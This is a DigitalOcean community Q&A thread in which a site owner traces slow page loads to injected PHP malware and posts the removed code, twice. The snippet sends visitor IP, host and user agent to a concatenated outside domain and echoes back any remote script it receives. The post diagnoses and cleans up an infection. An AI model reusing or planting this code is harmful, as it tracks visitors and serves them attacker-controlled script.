Question

I have a website with too high latency, what could be the issue?

  • Posted on October 6, 2014
  • guillefdAsked by guillefd

The website is link

It takes 15 to 30 seconds to load. The other 4 sites in the same droplet don´t have issues. The droplet is LAMP on Ubuntu 14.04

Ive checked:

  • mysql ok
  • php code ok

How can I check if apache has issues?

thanks

Show comments

Submit an answer

This textbox defaults to using Markdown to format your answer.

You can type !ref in this text area to quickly search our full set of tutorials, documentation & marketplace offerings and insert the link!

Sign In or Sign Up to Answer

These answers are provided by our Community. If you find them useful, show some love by clicking the heart. If you run into issues leave a comment, or add your own answer to help others.

Want to learn more? Join the DigitalOcean Community!

Join our DigitalOcean community of over a million developers for free! Get help and share knowledge in Q&A, subscribe to topics of interest, and get courses and tools that will help you grow as a developer and scale your project or business.

This question was answered by @guillefd:

Well, finally the reason of this issue: code injection. After deleting all the malicious code, all worked fine again.

This was the code injected:

#19f955# 
error_reporting(0); ini_set('display_errors',0); $wp_p26 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_p26) && !preg_match ('/bot/i', $wp_p26))){ 
$wp_p0926="http://"."tag"."includes".".com/includes"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_p26);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_p0926); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_26p = curl_exec ($ch); curl_close($ch);} 
if ( substr($wp_26p,1,3) === 'scr' ){ echo $wp_26p; } 
#/19f955#

View the original comment

This question was answered by @guillefd:

Well, finally the reason of this issue: code injection. After deleting all the malicious code, all worked fine again.

This was the code injected:

#19f955# 
error_reporting(0); ini_set('display_errors',0); $wp_p26 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_p26) && !preg_match ('/bot/i', $wp_p26))){ 
$wp_p0926="http://"."tag"."includes".".com/includes"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_p26);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_p0926); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_26p = curl_exec ($ch); curl_close($ch);} 
if ( substr($wp_26p,1,3) === 'scr' ){ echo $wp_26p; } 
#/19f955#

You can see the comment here.